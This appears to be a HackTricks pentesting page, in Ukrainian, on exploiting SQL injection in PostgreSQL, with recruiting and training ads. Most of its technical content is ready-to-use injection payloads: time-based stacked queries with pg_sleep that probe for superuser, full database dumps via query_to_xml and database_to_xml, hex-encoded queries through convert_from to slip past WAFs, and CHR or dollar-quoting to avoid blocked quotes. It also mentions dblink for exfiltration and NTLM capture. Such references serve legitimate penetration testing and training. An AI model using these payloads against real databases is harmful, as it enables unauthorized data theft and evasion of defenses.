PostgreSQL injection

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Якщо ви зацікавлені в кар'єрі хакера та хочете взламати невзламне - ми шукаємо співробітників! (вимагається вільне володіння польською мовою, як письмово, так і усно).


Ця сторінка має на меті пояснити різні трюки, які можуть допомогти вам використовувати виявлене вразливість SQL-ін'єкції в базі даних PostgreSQL та доповнити трюки, які ви можете знайти на https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Взаємодія з мережею - Підвищення привілеїв, Сканер портів, Розкриття відповіді на виклик NTLM та Ексфільтрація

Модуль PostgreSQL dblink пропонує можливості для підключення до інших екземплярів PostgreSQL та виконання TCP-підключень. Ці можливості, спільно з функціоналом COPY FROM, дозволяють виконувати дії, такі як підвищення привілеїв, сканування портів та захоплення відповіді на виклик NTLM. Для детальних методів виконання цих атак перевірте, як виконати ці атаки.

Ви можете прочитати цей приклад, щоб побачити приклад CTF того, як завантажити дані великих об'єктів, а потім ексфільтрувати вміст великих об'єктів всередині імені користувача функції dblink_connect.

Атаки на PostgreSQL: Читання/запис, RCE, підвищення привілеїв

Перевірте, як скомпрометувати хост та підвищити привілеї з PostgreSQL в:

page5432,5433 - Pentesting Postgresql

Обхід WAF

Функції рядків PostgreSQL

Маніпулювання рядками може допомогти вам обійти WAF або інші обмеження. На цій сторінці ви можете знайти деякі корисні функції рядків.

Стекові запити

Пам'ятайте, що PostgreSQL підтримує стекові запити, але деякі програми викинуть помилку, якщо очікується лише 1 відповідь, а отримано 2. Проте ви все ще можете зловживати стековими запитами через Внедрення часу:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML трюки

query_to_xml

Ця функція поверне всі дані у форматі XML лише в одному файлі. Це ідеально підходить, якщо ви хочете вивантажити багато даних лише в 1 рядок:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Ця функція вивантажить всю базу даних у форматі XML всього в 1 рядку (будьте обережні, якщо база даних дуже велика, оскільки ви можете спричинити DoS або навіть своєму власному клієнту):

SELECT database_to_xml(true,true,'');

Рядки у шістнадцятковому форматі

Якщо ви можете виконувати запити, передаючи їх у вигляді рядка (наприклад, використовуючи функцію query_to_xml). Ви можете використовувати convert_from, щоб передати рядок у вигляді шістнадцяткового коду та обійти фільтри таким чином:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Заборонені лапки

Якщо ви не можете використовувати лапки для вашого впливу, ви можете обійти це за допомогою CHR для основних клозів (конкатенація символів працює лише для основних запитів, таких як SELECT, INSERT, DELETE, тощо. Це не працює для всіх SQL-запитів):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Або з $. Ці запити повертають однакові результати:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Якщо вас цікавить кар'єра хакера і взламати невзламне - ми шукаємо співробітників! (вимагається вільне письмо і мовлення польською).

Вивчіть хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated